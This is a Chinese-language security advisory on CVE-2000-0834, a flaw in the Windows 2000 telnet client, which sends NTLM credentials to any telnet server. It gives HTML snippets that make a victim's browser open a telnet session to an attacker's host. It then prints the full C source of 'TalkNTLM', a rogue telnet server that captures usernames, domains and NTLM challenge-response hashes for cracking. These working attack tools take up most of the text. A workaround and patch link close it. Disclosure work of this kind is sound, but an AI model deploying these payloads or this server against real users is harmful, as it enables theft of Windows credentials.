安全研究
安全漏洞
Microsoft Windows 2000 telnet.exe NTLM认证信息泄露漏洞
发布日期：2000-09-14
更新日期：2000-09-14
受影响系统：
Microsoft Windows 2000描述：
BUGTRAQ ID: 1683
CVE(CAN) ID: CVE-2000-0834
Microsoft Windows是微软发布的非常流行的操作系统。
Windows 2000系统的telnet.exe远程连接工具在执行认证时存在漏洞，远程攻击者可能利用此漏洞获取系统相关的敏感信息。
Windows 2000发行时自带的telnet客户端（telnet.exe）在默认情况下使用Windows NT的Challenge/Response（NTLM）作为认证方法。当与主机建立连接时，telnet客户端试图通过NTLM进行认证，而不管主机是否为Windows telnet服务器。因此有可能监视NTLM challenge/response认证的会话过程，并将其破解，这会导致敏感信息的暴露，如用户名、密码、域名等。众所周知NTLM challenge/response协议容易被暴力破解，一个名为“L0phtcrack”的工具演示了这种暴力破解。
强制远程机器启动一个telnet会话是轻而易举的事情，因为Microsoft Internet Explorer、Outlook (Express)、Netscape Navigator等产品在遇到带有“telnet://”前缀的URL时会自动打开默认的telnet客户端（通常是telnet.exe）。下面几个例子说明了如何在指定的恶意的服务器上启动一个telnet会话：
1)
<html>
<frameset rows="100%,*">
<frame src=about:blank>
<frame src=telnet://target>
</frameset>
</html>
2)
<html>
<head>
<meta http-equiv="refresh" content="0;URL=telnet://target">
</head>
</html>
3)
<script>window.open("telnet://target")</script>
<**>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<!--StartFragment-->/* TalkNTLM - NTLM Logging Telnet Server
* dildog@atstake.com
* 8/14/00
* Copyright (C) 2000 @stake, Inc.
*/
#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<stdlib.h>
#include<ctype.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<sys/wait.h>
#include<netinet/in.h>
#include<arpa/inet.h>
#define MAJOR_VERSION 1
#define MINOR_VERSION 0
#define IAC 255 /* interpret as command: */
#define DONT 254 /* you are not to use option */
#define DO 253 /* please, you use option */
#define WONT 252 /* I won't use option */
#define WILL 251 /* I will use option */
#define SB 250 /* interpret as subnegotiation */
#define SE 240 /* end sub negotiation */
#define AUTH 37
#define IS 0
#define SEND 1
#define REPLY 2
#define NAME 3
#define NTLM 15
#define ACCEPT 1
typedef enum {
METHOD_NONE=0,
METHOD_TELNET
} METHOD;
typedef enum {
SUBMETHOD_NONE=0,
SUBMETHOD_LOG,
} SUBMETHOD;
#define COMMSOCK_BUFSIZ 2048
FILE *g_fCommSock;
char g_CommSockBuf[COMMSOCK_BUFSIZ];
void error(const char *str)
{
fflush(stdout);
fprintf(stderr,str);
fflush(stderr);
}
unsigned char getb(void)
{
unsigned char b=0;
fread(&b,1,1,g_fCommSock);
return b;
}
unsigned short getdwl(void)
{
unsigned short s=0;
s|=((unsigned short)getb());
s|=((unsigned short)getb())<<8;
return s;
}
unsigned long getddl(void)
{
unsigned long l=0;
l|=((unsigned long)getb());
l|=((unsigned long)getb())<<8;
l|=((unsigned long)getb())<<16;
l|=((unsigned long)getb())<<24;
return l;
}
void putb(unsigned char c)
{
fwrite(&c,1,1,g_fCommSock);
}
void putdwl(unsigned short w)
{
putb(w&255);
putb((w>>8)&255);
}
void putddl(unsigned long d)
{
putb(d&255);
putb((d>>8)&255);
putb((d>>16)&255);
putb((d>>24)&255);
}
void putarrb(int n, unsigned char *b)
{
int i;
for(i=0;i<n;i++) {
putb(b[i]);
}
}
void putarrc(int n, char *c)
{
putarrb(n,(unsigned char *)c);
}
void putflush(void)
{
fflush(g_fCommSock);
}
void debugb(unsigned char c)
{
fprintf(stderr,"%d\t\t%X\t'%c'\n\r",c,c,(isalnum(c)?c:' '));
}
int listenport(int port, struct sockaddr_in *rsaddr)
{
// Create socket
int s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s<0) {
error("couldn't create socket.\n");
return -1;
}
int reuse=1;
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&reuse,sizeof(int))<0) {
error("couldn't set socket option.\n");
close(s);
return -2;
}
// Bind to port
struct sockaddr_in saddr;
memset(&saddr,0,sizeof(struct sockaddr_in));
saddr.sin_port=htons(port);
saddr.sin_family=AF_INET;
if(bind(s,(struct sockaddr *)&saddr,sizeof(struct sockaddr_in))<0) {
error("couldn't bind.\n");
close(s);
return -3;
}
// Listen on port;
if(listen(s,1)<0) {
error("couldn't listen.\n");
close(s);
return -4;
}
// Accept connection
unsigned int socklen=sizeof(struct sockaddr_in);
memset(rsaddr,0,socklen);
int as;
if((as=accept(s,(struct sockaddr *)rsaddr,&socklen))<0) {
error("couldn't accept.\n");
close(s);
return -5;
}
// Close listener
close(s);
return as;
}
int do_telnet_log(int port, char *logfile)
{
FILE *lf=NULL;
while(1) {
// Wait for telnet connection to come in
struct sockaddr_in saddr;
int s;
printf("listening on port %d.\n",port);
if((s=listenport(port,&saddr))<0) {
error("telnet logging abort.\n");
return -1;
}
printf("recieved telnet connection from %s:%u.\n",
inet_ntoa(saddr.sin_addr),ntohs(saddr.sin_port));
// Set this socket as out buffered packet socket
g_fCommSock=fdopen(s,"r+b");
if(g_fCommSock==NULL) {
error("couldn't fdopen comm socket.\n");
close(s);
return -2;
}
setvbuf(g_fCommSock,g_CommSockBuf,_IOFBF,COMMSOCK_BUFSIZ);
// Open logging file
lf=fopen(logfile,"a+t");
if(lf==NULL) {
error("couldn't open log file.\n");
fclose(g_fCommSock);
return -3;
}
// Challenge to send
unsigned char challenge[8]={255,255,255,255,255,255,255,255};
// Start authentication process
unsigned char *respbuf=NULL;
int size=0;
putb(IAC);
putb(DO);
putb(AUTH);
putflush();
printf(">> IAC DO AUTH\n");
// See if client wants to authenticate
if(getb()!=IAC) goto telnetlogfail;
if(getb()!=WILL) goto telnetlogfail;
if(getb()!=AUTH) goto telnetlogfail;
printf("<< IAC WILL AUTH\n");
// Present authentication methods
putb(IAC);
putb(SB);
putb(AUTH);
putb(SEND);
putb(NTLM);
putb(0);
putb(IAC);
putb(SE);
putflush();
printf(">> IAC SB AUTH SEND NTLM 0 IAC SE\n");
// Get NTLMSSP initial request
if(getb()!=IAC) goto telnetlogfail;
if(getb()!=SB) goto telnetlogfail;
if(getb()!=AUTH) goto telnetlogfail;
if(getb()!=IS) goto telnetlogfail;
if(getb()!=NTLM) goto telnetlogfail;
if(getb()!=0) goto telnetlogfail;
if(getb()!=0) goto telnetlogfail;
size=getddl()+4;
if(size>2048) goto telnetlogfail;
respbuf=(unsigned char *)malloc(size);
int i;
for(i=0;i<size;i++) {
respbuf[i]=getb();
}
free(respbuf);
if(getb()!=IAC) goto telnetlogfail;
if(getb()!=SE) goto telnetlogfail;
printf("<< IAC SB AUTH IS NTLM 0 0 ... IAC SE\n");
// Send accept
putb(IAC);
putb(SB);
putb(AUTH);
putb(REPLY);
putb(NTLM);
putb(0);
putb(ACCEPT);
putddl(0xA8);
putddl(0x2);
putarrc(8,"NTLMSSP");
putddl(0x2);
putdwl(0x14);
putdwl(0x14);
putddl(0x30);
putddl(0xE0828295);
putarrb(8,challenge);
putarrc(8,"\0\0\0\0\0\0\0\0");
putdwl(0x64);
putdwl(0x64);
putddl(0x44);
putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
putdwl(0x2);
putdwl(0x14);
putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
putdwl(0x1);
putdwl(0x14);
putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
putdwl(0x4);
putdwl(0x14);
putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
putdwl(0x3);
putdwl(0x14);
putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
putddl(0);
putb(IAC);
putb(SE);
putflush();
printf(">> IAC SB AUTH REPLY NTLM 0 1 ... challenge ... IAC SE\n");
// Get the reply packet
if(getb()!=IAC) goto telnetlogfail;
if(getb()!=SB) goto telnetlogfail;
if(getb()!=AUTH) goto telnetlogfail;
if(getb()!=IS) goto telnetlogfail;
if(getb()!=NTLM) goto telnetlogfail;
if(getb()!=0) goto telnetlogfail;
if(getb()!=2) goto telnetlogfail;
size=getddl()+4;
if(size>2048 || size<64) goto telnetlogfail;
printf("8\n");
respbuf=(unsigned char *)malloc(size);
for(i=0;i<size;i++) {
respbuf[i]=getb();
//fprintf(stderr,"%2.2X: ",i);
//debugb(respbuf[i]);
}
if(getb()!=IAC) goto telnetlogfail;
if(getb()!=SE) goto telnetlogfail;
printf("<< IAC SB AUTH IS NTLM 0 2 ... response ... IAC SE\n");
// Get username
int usernamelen,usernameoff;
char *username;
usernamelen=respbuf[0x28] | (respbuf[0x29]<<8);
usernameoff=respbuf[0x2C] | (respbuf[0x2D]<<8) |
(respbuf[0x2E]<<16) | (respbuf[0x2F]<<24);
username=(char *)malloc(usernamelen);
if(!username) goto telnetlogfail;
memcpy(username,&respbuf[usernameoff+4],usernamelen);
printf("Username: ");
for(i=0;i<usernamelen;i+=2) {
printf("%c",username[i]);
fprintf(lf,"%c",username[i]);
username[i>>1]=username[i];
}
usernamelen>>=1;
printf("\n");
fprintf(lf,":");
free(username);
// Get domainname
int domainnamelen,domainnameoff;
char *domainname;
domainnamelen=respbuf[0x20] | (respbuf[0x21]<<8);
domainnameoff=respbuf[0x24] | (respbuf[0x25]<<8) |
(respbuf[0x26]<<16) | (respbuf[0x27]<<24);
domainname=(char *)malloc(domainnamelen);
if(!domainname) goto telnetlogfail;
memcpy(domainname,&respbuf[domainnameoff+4],domainnamelen);
printf("Domain: ");
for(i=0;i<domainnamelen;i+=2) {
printf("%c",domainname[i]);
fprintf(lf,"%c",username[i]);
domainname[i>>1]=domainname[i];
}
domainnamelen>>=1;
printf("\n");
fprintf(lf,":");
free(domainname);
// Write challenge
fprintf(lf,"%2.2X%2.2X%2.2X%2.2X%2.2X%2.2X%2.2X%2.2X:",
challenge[0],challenge[1],challenge[2],challenge[3],
challenge[4],challenge[5],challenge[6],challenge[7]);
// Get NT response
int ntresplen,ntrespoff;
unsigned char *ntresp;
ntresplen=respbuf[0x10] | (respbuf[0x11]<<8);
ntrespoff=respbuf[0x14];// | (respbuf[0x15]<<8) | (respbuf[0x16]<<16) | (respbuf[0x17]<<24);
ntresp=(unsigned char *)malloc(ntresplen);
if(!ntresp) goto telnetlogfail;
memcpy(ntresp,&respbuf[ntrespoff+4],ntresplen);
printf("NT Response:\n");
for(i=0;i<ntresplen;i++) {
printf("%2.2X ",ntresp[i]);
fprintf(lf,"%2.2X",ntresp[i]);
if(i%8==7) printf("\n");
}
printf("\n");
fprintf(lf,":");
free(ntresp);
// Get LM response
int lmresplen,lmrespoff;
unsigned char *lmresp;
lmresplen=respbuf[0x18] | (respbuf[0x19]<<8);
lmrespoff=respbuf[0x1C] | (respbuf[0x1D]<<8) |
(respbuf[0x1E]<<16) | (respbuf[0x1F]<<24);
lmresp=(unsigned char *)malloc(lmresplen);
if(!lmresp) goto telnetlogfail;
memcpy(lmresp,&respbuf[lmrespoff+4],lmresplen);
printf("LM Response:\n");
for(i=0;i<lmresplen;i++) {
printf("%2.2X ",lmresp[i]);
fprintf(lf,"%2.2X",lmresp[i]);
if(i%8==7) printf("\n");
}
printf("\n");
fprintf(lf,"\n");
free(lmresp);
free(respbuf);
fclose(lf);
// Close the telnet session
fclose(g_fCommSock);
printf("closed telnet socket.\n");
}
return 0;
telnetlogfail:; // Failure
if(lf!=NULL)
fclose(lf);
printf("telnet negotiation failed.\n");
fclose(g_fCommSock);
return -5;
}
void usage(char *progname,int exitcode)
{
printf("talkntlm v%d.%d (%s)\n",MAJOR_VERSION,MINOR_VERSION,progname);
printf("usage: talkntlm -t [-p <port>] -l <challenge response logfile>\n",progname);
exit(exitcode);
}
int main(int argc, char *argv[])
{
unsigned char b;
int i,tp;
// Get options
int opt_port=0;
char *opt_logfile=NULL;
METHOD opt_method=METHOD_NONE;
SUBMETHOD opt_submethod=SUBMETHOD_NONE;
char oc;
while((oc=getopt(argc,argv,"l:p:t"))>0) {
switch(oc) {
case 't':
opt_method=METHOD_TELNET;
if(opt_port==0) {
opt_port=23;
}
break;
case 'p':
opt_port=atoi(optarg);
break;
case 'l':
opt_logfile=optarg;
if(opt_submethod!=SUBMETHOD_NONE)
usage(argv[0],-2);
opt_submethod=SUBMETHOD_LOG;
break;
default:
usage(argv[0],-3);
break;
}
}
// Go to the particular method
if(opt_method==METHOD_NONE) {
usage(argv[0],-4);
}
else if(opt_method==METHOD_TELNET) {
// Telnet methods
if(opt_submethod==SUBMETHOD_NONE) {
usage(argv[0],-5);
}
else if(opt_submethod==SUBMETHOD_LOG) {
// Telnet hash logging
if(opt_logfile==NULL) {
usage(argv[0],-7);
}
if(do_telnet_log(opt_port,opt_logfile)!=0)
return -8;
}
}
return 0;
}
建议：
临时解决方法：
NSFOCUS建议您在得到补丁之前采用微软提供的如下解决办法：
-打开命令窗口，输入“telnet”并按回车。
-在Telnet提示符下面，输入“unset ntlm”并按回车。
-输入“quit”以保存你的更改并退出telnet。
为了验证NTLM认证已被禁止，做如下几件事：
-打开命令窗口，输入“telnet”并按回车。
-在Telnet提示符下，输入“display”并按回车。
-察看“display”命令的输出，如果你看见“Will auth (NTLM authentication”字样，说明Telnet将参与NTLM认证。如果你看见“Won't auth (NTLM authentication)”，这说明Telnet不会参与NTLM认证。
厂商补丁：
Microsoft
---------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://download.microsoft.com/download/win2000platform/patch/q272743/nt5/en-us/q272743_w2k_sp2_x86_en.exe
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